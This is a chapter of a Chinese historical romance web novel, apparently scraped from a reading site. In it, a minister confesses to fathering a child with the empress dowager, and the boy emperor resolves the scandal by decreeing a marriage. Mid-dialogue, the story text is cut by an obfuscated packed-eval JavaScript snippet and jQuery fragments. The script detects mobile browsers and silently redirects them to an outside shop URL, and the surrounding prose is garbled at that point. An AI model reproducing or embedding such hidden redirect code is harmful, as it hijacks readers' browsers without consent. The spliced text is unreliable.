默认冷灰
24号文字
方正启体

65. 指婚

作者:十月廿三本书字数:K更新时间:
    大年三十,宫中照例摆除夕宴,大雪,元辅温却疾下轿子时滑了一跤,宫门尚未入,就被家人抬了回去。临行前,他还颤巍巍地由人扶着朝金銮殿的方向行了一礼,给圣上拜年。


    不想,元辅这一去,竟瘫在床上,再也没能爬起来。崔院判亲自行诊,道是邪风入体,余生恐怕只能在床上度过了。


    过完年,乃为咸平元年。


    正月初五的大朝会上,圣上点头,次辅乔广川顺理成章地升任首辅,不是没有人拿“乔太后不贞”说事,被皇帝淡淡一句“无有证据莫要生谣”压下。


    说来讽刺,乔广川为了这个首辅头衔费尽心思,唯恐温却疾身体硬朗,自个儿熬不出头,为此特地将太后请回宫,只待内外联手,压朝臣一头。


    哪知道,命运将他日思夜想之物轻描淡写地丢过来,万般手段,都好似成了一场笑话。


    这天午后,风雪交加,一辆灰扑扑的马车停在冯府前。


    身形高瘦的男人从马车里出来,转身仍掀着帘子,一双女人的手抱着襁褓伸了出来,男人小心翼翼地接过,熟稔地单臂抱在怀里,抬起另一手的袖子为婴儿遮雪。


    女婴以为玩闹,抬手捉袖子,咯咯直笑。


    女人也从马车里钻了出来,含笑看着父女互动,一句“老爷”还未说完,只见斜地里陡然冲出一道人影,一拳揍向了男人的脸。


    “老爷!”


    “啊——”


    “住手!!你是什么人!”


    好一顿人仰马翻。


    一盏茶后,冯府花厅里,冯矩坐在椅子上,一只手握着包着冰块的汗巾捂在嘴角,神情颇有些无奈。


    “嘶——下手真重。乔四,这么多年,你怎么还这么爱打人。”


    “打的就是你!”


    乔翀怒容未歇,坐在他对面喘着粗气:“现在没人,你跟我说一句真话。我问你,京中流言,你和我五妹妹,是不是真的,真的……”


    那个有些污秽的词他实在没法用在妹妹身上。


    冯矩道:“是真的。”


    “我杀了你!”


    乔翀拍案而起,又是一拳揍了过去,冯矩没有躲闪,然而拳头最后还是在离他鼻子一寸的地方硬生生停住了。


    “那方才那个孩子?”


    “是我们的,”冯矩唇角有了一丝笑,温柔地道,“她叫冯晞,还有个五娘取的小名,葭月儿。”


    乔翀仍旧恶狠狠地盯着他,语出惊人:“你既和五娘好上,还有了孩子,为何还要找别的女人?我看你就是找打!”


    “我没有!”


    “还说没有,刚刚从马车里下来的那个不是?我全都看到了!”


    “不是,那是孩子的乳娘,”冯矩叹息,“也是五娘找的。叫做程寿,宫里出来的女官,听闻从前在宫里时,曾受恩于五娘,她出宫后嫁作商妇,谁知怀着孩子时,丈夫行商失踪,只留下孤儿寡母两人,恰好那时五娘仓促生女,到处找乳母,才机缘巧合找到她。”


    他又道:“此事五娘不曾露面,程寿也并不知孩子生母是谁,你别说漏嘴了。”


    乔翀安静了下来:“你和五娘,是怎么会走到这一步的?”


    “情不知所起。”


    “五娘比你年幼,她性子有点冲动,但你素来恪守慎行,你为什么不,不有所止呢!”


    “我也会有冲动的时候。”


    “你们没有想过会有怎样的后果吗?”


    冯矩面色平静,平静到有一丝绝望,好像这个问题他早已叩问过自己千万遍,也早就有了千万遍如一的回答。


    “想了,但也没用。那时候,哪怕知道后果如何,也只能义无反顾地沉沦下去。”


    到底是谁先拉着谁堕去?并不重要,感情没有先后,情到深处,恐怕只剩了至死方休。


    那时候他确实想过死字,那她呢?是什么支撑着她一头扎下深渊?


    “云飞,不是所有事物都能受人掌控,世事如此,人心也如此。坦白讲,我后来确实后悔了,我很长一段时间都害怕暴露,女子失节,比男人遭受的要可怕的多……可是一切已经发生,说这些也没用了。”


    乔翀很长一段时间没有出声,他呆呆地坐着,眼睛盯着下方,不知道在想什么,许久,他才涩然道:“流言愈甚,积毁销骨,她最近的日子着实不好过,听二哥说,每日都有言官上奏弹劾,皇帝起初还能压下,时日一长,还是要给个交代。”


    冯矩轻声问:“要什么交代呢?”


    “我也不知道。我回家和二哥商量一下再来找你。”


    乔翀走后,冯矩又在原地坐了很久,那种绝望的感觉又在撕扯他,很多个日日夜夜他都是这么过来的。


    是不是因为少年时曾发宏愿,既要海晏河清,天下昌盛,又想家和人兴,白首不离,惹怒上天:哈,你这凡人,甚贪心!偏叫你所求皆不应,所愿尽无成!


    没有等到乔翀再访,夜深时分,冯府先来了个不速之客。


    冯矩得到消息,匆匆赶到角门。年久失修的铁门朱漆剥落,经月色一照,别样荒芜。


    冯矩提衣跪在角门下,“微臣不知圣上驾临,有失远迎!”


    角门外停着一辆普通的马车,马车旁候着四个锦衣卫。而在角门前,立着一个细瘦的少年,玉簪束发,身穿黄色阑衫,生得平常,唯有一双细长湛然的眼,似极了他那驾崩的父兄。


    今日下午,冯矩已经入宫面圣过,当时皇帝甚至没有见他,只让人传话,有事翌日朝会再说。


    “免礼。有话进去说。”


    少年神情淡漠,抬脚便往门内走,等他走远两步,冯矩方站起身,与一个面生的太监一起跟在皇帝身后。


    走到一处岔道,少年皇帝停住脚步,冯矩上前一步,站在侧后方,伸手一引:“圣上,这边请。”


    很快,在冯矩的带领下,众人来到书房前,李琢让太监吴汲留在外面,只带着冯矩入内。


    李琢慢慢走到屋子中央,负手站定。


    “宫里人多口杂,有些话朕不便说。朕问你,你和太后的流言是真是假?”


    少年虽身形尚幼,却已有上位者的威严。有那么一瞬间,冯矩感到自己面对的是慜帝。也许李家人总是一样的,相同的帝王血脉流淌在他们身体里。


    冯矩沉默不言,李琢懂了,许久后,淡淡道:“把孩子抱来朕看看。”


    “圣上!万般有罪,罪在臣躬,孩子还小,什么都不知道!”


    李琢轻蔑不已:“你怕什么,朕不会伤她。朕只是想看看,玷污了皇室血脉的孩子是什么模样。怎么,你不动身,是要朕命锦衣卫去把人抢过来吗?”


    话已说到这个份上,再拒绝就是抗旨,冯矩只能亲自出门,去把孩子抱了过来。


    幼儿嗜睡,走来这一路都没醒。


    李琢盯着她的小脸,脸上的厉色渐渐消退。


    她还这么小,出生不过一年零两个月,过完年才两岁,连路都走不稳,小小的身子陷在襁褓里,在父亲熟悉的怀抱里睡得格外香甜。


    “她和太后生得好像。”李琢轻声说。


    自古女儿肖父,可葭月儿偏偏长得像母亲,这对她来说并非好事,如今眉眼还不显,又养在闺中,可等她长开了,恐怕见到她的人都会怀疑她的生世。


    来之前,李琢想过,为了皇家名誉,最坏不过把孽障杀死在襁褓里。可当真见了面,他发现自己实在无法对这样一个一无所知的婴儿动手。


    李琢听到自己喃喃:“……她也是我妹妹。”


    “她叫什么?”


    冯矩微松了一口气,“小字葭月儿。”


    “葭月儿,葭月,她原来生在十一月啊。”


    这时,也许是两人谈话声太大,葭月儿嘟着嘴,睡眼惺忪地睁开了眼。她一下子就注意到了面前陌生的少年,可她一点不怕生,慢慢睁大眼睛,好奇地打量那人。谁都没有预料到,她忽然朝少年伸出小手——


    “咯,哥……哥……”


    李琢惊在原地,一瞬间,那种纯洁的信任彻底包裹住了他,他心头涌起无法言说的震撼和动容,蓦的眼眶微湿,轻轻握住了那只不过鸡卵大的小手。


    “哥哥在呢。”


    一旁的冯矩也吃了一惊:“圣上,这还是葭月儿第一次说话。”


    “是吗?”李琢嘴角微扬,心情大好。


    玩了一会儿,女婴打了个哈欠,眼皮半耷,冯矩将其送走,回来时,似乎在短暂的路程里下定了某种决心,显得心事沉沉。


    他阖上门,忽然跪在李琢身前。


    “圣上,臣想娶她。”


    “什么!?”


    “臣想娶她,一片真心,天地可鉴,臣为此可以付出一切代价。”


    “荒唐!宫妃改嫁,古来未有之!”李琢厉声喝道。


    冯矩抬头:“前朝太祖驾崩后,太宗继位,曾遣散部分宫妃回家另嫁。”


    “此事在史书中讳莫如深,尤其如今理学之风盛行,女子守贞如天子守国,矢志不渝,从一而终,你要朕如何冒天下之大不韪成全你?”李琢冷笑,平复了一会儿,忽然露出若有所思的神情,问了个风马牛不相及的问题,“先怀帝,朕的二哥,是否也知道你与太后的私情?”


    冯矩心头微震,知道此事已经足够复杂,不能再将先帝也扯进来,于是按兵不动,反问道:“圣上何有此问?”


    李琢眯着眼,目光仔细地从冯矩的脸上看过,许久,才说道:“此事只有一个解决方法——还太后清白。我要你不管用什么方法,给葭月儿找一个‘生母’,如果你做不到,朕给你赐一个也不是不行,其余之事,自有朕处理。”


    说完,李琢已不耐烦在这里待下去,走向门口,却在动手拉门前停住,淡淡道:“放下你的痴心妄想,你要娶太后,可曾问过她的意见


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116348|193889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?朕曾询问过她,她想垂帘听政,届时,诸多尊荣权势集于一身,青史长存,何等荣耀,何等风光,世间女子所求之极致,也不过如此!太后救朕助朕,恩愈泰山,朕很敬重她,姑且不计较你从前的冒犯,但若以后还敢有这种念头,朕治你死罪!”


    李琢带着人走了,独留冯矩还跪在室内,门扉大敞,北风呼啸穿堂,如万箭穿心,心如死灰,莫过于此。


    “老爷!圣上都走了,您怎么还跪着!”


    也不知过了多久,门外之声惊醒了他。原来是程寿起夜,看到书房灯还亮着,过来一看究竟,不曾想竟看到这样一幕,冯矩双眼无神,面色青白,浑不似活人。


    “……无事。”


    冯矩在她的搀扶下慢慢站起身,蹒跚地走到一旁坐下,轻声问道:“你喂养了葭月儿这么久,没有好奇过她的生母吗?”


    程寿神色不变,淡淡道:“奴婢不过是个聘来的乳娘,做好分内之事便可,怎好置喙主家的事情。”


    “你见过她。她们眉眼真像啊,你认出来了吧。”


    “奴婢不知您在说什么。”


    冯矩笑了笑,话音一转:“她是我在外娶的发妻,可惜已经病故,想来我这个做丈夫的实在不够贴心,连她的牌位都没立。我记得王伯爱做木工,劳烦帮我要块好的木料来。”


    程寿眉心微拢,忧心忡忡地离开,不多时果然带来一块黄花梨木,还贴心地准备了一副刻刀。


    漏断人静,四下阗然,一时间仿佛天地里只剩下这一盏灯,这一个人。


    冯矩抱着木块,手握刻刀,虔诚地落下一道道刻痕。这件事他做得无比专心,浑然忘我,不知不觉间竟已天色微白。


    月光隐没前,最后自窗外照进来,照亮了木块上初具雏形的笨拙的字:亡妻高氏之神主。


    “老爷,该洗漱了,您今日还要参朝呢!”屋外,长随黄胜喊道。


    冯矩这才回过神,放下刻刀,看着“高氏”二字,一时似痴了。他忍不住抬手战栗地抚过,眼前很快模糊成一片。


    早朝究竟都发生了什么,冯矩一概不甚清晰,只记得在皇帝问话时,讲了一段在流亡的崖州与“亡妻”相识相知的故事。皇帝夸其义深情笃,又在最后说见不得冯卿为情所困,憔悴至此,赐婚一则。


    冯矩大惊抬头,却只见少年皇帝高坐明堂,意味深长地朝东内间看了一眼,复又看向他。


    他下意识跟随皇帝的目光看去,只见东内间门户洞开,门口垂帘,里面隐约端坐一道女人的倩影,好似也正面无表情地看着他的方向。


    那一瞬间,他感到身形一轻,宛如连日沉疴都尽去了,大脑一片空白,什么都不愿再想。


    “微臣叩谢圣上恩典,圣上千秋万岁。”


    等到回府,他已经恢复如常。下马车时,驾车的黄胜狐疑发问:“出了什么事了吗?您心情怎么这么好。”


    “啊,确实有则喜事。”冯矩含笑说道。


    “什么喜事?”


    “圣上赐婚,算不算喜事?”


    “算!怎么不算!”黄胜大喜,“圣上居然如此操心臣子家事,真是个明君。他给您赐的哪家小姐?您见过没?可要小的去帮您找个画像来?”


    “不必了。”


    黄胜摸了摸脑袋,心道这回的是哪个问题?不过没有纠结多久,他又乐滋滋地问:“婚期可定了?这府上一年多没住人,好几个院子没有打扫,府里什么都没有,您看您这院子,原本种的银杏都被雷劈了,这也得收拾吧。婚期是什么时候?我们得提前准备啊!”


    “还未定,天子赐婚,怕是要等钦天监算过日子。”


    “噢……”黄胜面露遗憾。


    冯矩已经大步走到偏房,敲了敲门,程寿拉开门,怀里抱着孩子。“给我吧。”冯矩说着,熟练地接过孩子,去到书房。


    他照例陪女儿玩了会儿,玩累了,坐在窗边榻上,葭月儿坐在膝上,睁着圆溜溜的杏眼看他。


    今日雪停,阳光破云而出,一片岁月静好。


    “葭月儿,来,叫爹爹。”


    葭月儿咯咯直笑,又挥手,兴奋地喊:“哥、哥!”


    “不是哥哥,是爹爹。”


    就这样不厌其烦地教了好久,久到他有些累了,葭月儿也静了下来,忽然握住他的食指,发出字正腔圆的音节:“爹。”


    冯矩怔住,一种莫名的感动涌上心头,正要微笑,却听葭月儿又道:“娘……”


    笑容还未展开,便凝固住了。强忍一天的若无其事,被短短一个音节轻易粉碎。


    如果知道两心同,他还能有所慰藉,凭此支撑下去。


    可今日方知,原来他的视若珍宝,却是她的避之不及。


    霎那间,冯矩肝肠寸断,他把女儿紧紧抱在怀里,佝偻下腰,哽咽出声:“好月儿,你没有娘了,我也没有她了……你只有我,我也只剩你了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)